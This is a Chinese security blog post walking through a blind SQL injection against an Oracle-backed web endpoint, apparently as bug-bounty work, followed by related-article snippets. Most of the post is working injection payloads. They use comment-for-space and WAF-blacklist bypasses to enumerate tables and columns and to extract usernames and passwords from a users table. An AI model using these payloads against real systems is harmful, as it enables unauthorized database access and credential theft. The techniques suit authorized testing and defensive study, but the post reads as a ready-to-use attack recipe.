Oracle注射之一"射"到底

VSole2023-06-12 09:51:17

关于oracle注射获取数据的实战文章还是比较少的,比较多的都是写写思路或者罗列一些payload就结束了,再比较好一点的也就是绕个WAF获取个库名,真的把数据跑出来的文还是寥寥无几的,也许是因为工作或SRC要求如此吧,但是真的去跑数据的时候还是会遇到各种挑战的,且与君共享一篇oracle注射获取数据的文吧。

0x00 sqlmap梭哈?

经典盲注

http://xxx.xxx.xxx/queryByPhone?card=1&phone=13111111111'and'1'like'1&companysID=1

http://xxx.xxx.xxx/queryByPhone?card=1&phone=13111111111'and'1'like'2&companysID=1

典型的盲注,判断出注入后,多数情况下会想到sqlmap梭哈,但是结果却是这样的:

sqlmap也很温馨的提示了,说是可以添加tamper脚本进行尝试,玩了一段时间注入的到这里很容易就想到了可能遇上安全防护了,当然这是后话,我们可以根据sqlmap的提示接着往下走,比如--tamper=space2comment

有结果了,瞬间对sqlmap又燃起了希望,接着跑库名试试

未果,继续根据提示进行操作

GG,这次不得行了,到这里单纯靠sqlmap显得不靠谱了,接下来就需要去摸清服务端的过滤规则了。

0x01 Fuzz黑名单注出库名

通过第一步得知空格被过滤了,输入被过滤的字符,看看服务端的响应:

服务端给出了友好提示,那我们直接fuzz字符,然后根据服务端响应就可以摸清过滤规则了

第一种,直接fuzz(%00-%ff)

第二种,自定义字符字典(记得选中编码,GET请求URI中的特殊字符多数是需要url编码的,否则服务端会返回400)

很明显的看到<和>被过滤了,还有一个比较常用的|字符被干掉了,知道了这两点,其实跑个库名就很简单了,用between and替代大于小于号就行,继续利用sqlmap的tamper脚本

多数情况下挖到这里其实就可以交差结束战斗了,但是毕竟2023年第一个oracle注入,必须跑出数据呀,直接sqlmap

意料之中,因为|被干掉了,sqlmap跑oracle数据的payload中借助了|符号(挂个代理看payload发现的) (sqlmap.py --purge可以清除历史记录哟)

0x02 半手工出数据


根据oracle数据库中固有的字段来跑数据

user_tables table_name

user_tab_columns column_name

通过rownum和not in进行单行数据输出

比较幸运的是length、substr、逗号都没有被干掉

具体操作如下:

1、获取表的数量

payload:

13111111111'and/**/(select/**/count(table_name)/**/from/**/user_tables)=/**/1/**/and'1'like'1

2、获取表名

先判断第一个表名长度

payload:

13111111111'and/**/(select/**/length(table_name)/**/from/**/user_tables/**/where/**/rownum=1)=/**/1/**/and'1'like'1

借助burp判断第一个表名长度:14

获取表名数据

payload:

13111111111'and/**/(select/**/substr(table_name,1,1)/**/from/**/user_tables/**/where/**/rownum=1)=/**/'A'/**/and'1'like'1

(oracle数据库的库名、表名、字段都是需要大写的,还有常见的字符如、$和数字,其中$需要进行url编码哟)

其它字符以此类推,最终注出第一个表名:BA******NEWS

注出了第一个表名,后续表名借助rownum实现即可判断第二个表名长度,只要not in第一个表名即可

payload:

13111111111'and/**/(select/**/length(table_name)/**/from/**/user_tables/**/where/**/rownum=1/**/and/**/table_name/**/not/**/in/**/('BA******_NEWS'))=/**/§1§/**/and'1'like'1

后续字符以此类推,其它表名玩法一样。

3、获取列名

先判断第一个列名长度

payload:

13111111111'and/**/(select/**/length(column_name)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1)=/**/'§1§'/**/and'1'like'1

获取第一个列名字符

payload:

获取第一个列名字符

payload:

13111111111'and/**/(select/**/substr(column_name,1,1)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1)=/**/'§1§'/**/and'1'like'1

获取其它列名的方法和获取表名一样,借助not in实现

还是同样的先判断列名长度

13111111111'and/**/(select/**/length(column_name)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1/**/and/**/column_name/**/not/**/in/**/('ID'))=/**/'§1§'/**/and'1'like'1

再一一获取列名字符

13111111111'and/**/(select/**/substr(column_name,1,1)/**/from/**/user_tab_columns/**/where/**/table_name='BA******_NEWS'/**/and/**/rownum=1/**/and/**/column_name/**/not/**/in/**/('ID'))=/**/'§1§'/**/and'1'like'1

……

这里也可以写脚本跑哈,我比较懒,就直接burp操作了一波,跑出一些可能包含敏感数据的表名就停下,然后跑其中的数据就行。

4、获取敏感数据

经过了一段时间的注入,获取到了一个敏感表名:BA******_USERS,对应的字段:USERNAME,PASSWORD

接下来就直接获取对应的数据就行了,跑出一两条,证明危害即可哈。

先判断第一个用户名长度

13111111111'and/**/(select/**/length(USERNAME)/**/from/**/BA******_USERS/**/where/**/rownum=1)='§1§'and'1'like'1

跑数据

13111111111'and/**/(select/**/substr(USERNAME,§0§,1)/**/from/**/BA******_USERS/**/where/**/rownum=1)='§1§'and'1'like'1

按顺序组合即可获取对应数据:ba******admin获取PASSWORD字段内容方法同上。

0x03 总结

犹豫了两天,终于写了这个文,竟然用了两个小时的时间,写的还算比较细了,整个思路和利用过程基本都写到了,就这样吧,以后估计也不会如此细致的写注入的文了,且看且珍惜。

oracleselect
本作品采用《CC 协议》,转载必须注明作者和本文链接
SQL快速注入漏洞技巧
2021-12-18 07:46:43
SQL快速注入漏洞技巧
一个经过完整而优秀开发的应用一般来说你是看不到错误提示的,所以你是没办法从Union攻击和错误中提取出数据的 一般盲注,你不能在页面中看到响应,但是你依然能同个HTTP状态码得知查询的结果 完全盲注,你无论怎么输入都完全看不到任何变化。你只能通过日志或者其它什么的来注入。虽然不怎么常见。
如果流量都没有经过WAF,WAF当然无法拦截攻击请求。当前多数云WAF架构,例如百度云加速、阿里云盾等,通过更改DNS解析,把流量引入WAF集群,流量经过检测后转发请求到源站。如图,dict.com接入接入WAF后,dict.com的DNS解析结果指向WAF集群,用户的请求将发送给WAF集群,WAF集群经过检测认为非攻击请求再转发给源站。
oracle注入绕狗
2021-10-14 15:03:05
0x00 前言最近学习了oracle注入,和mysql比语法差异还是有的,做下小记录,后面是尝试绕狗。0x01 简单fuzz空白符%09 %0A %0B %0C %0D. 当注入类型为数字型即id=1union select 全字符url编码fuzz一遍后,发现%2E %44 %46 %64 %66这些字符添加不影响SQL语句运行
实战oracle注射获取真实数据,思路和利用过程全记录!
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。
Oracle数据库的基本知识Oracle数据库介绍Oracle Database,又名Oracle RDBMS,或简称Oracle
SQL注入速查表
2022-07-29 09:22:37
现在仅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特的SQL语句,而经常发生变化。
数据库注入提权总结
2022-08-10 15:52:54
首先,不能直接将该函数注入子查询中,因为 Oracle 不支持堆叠查询 。其次,只有数据库管理员才能使用 DBMS_LOCK 包。在 Oracle PL/SQL 中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:dbms_pipe.receive_messageDBMS_PIPE.RECEIVE_MESSAGE() 函数将为从 RDS 管道返回的数据等待 10 秒。
VSole
网络安全专家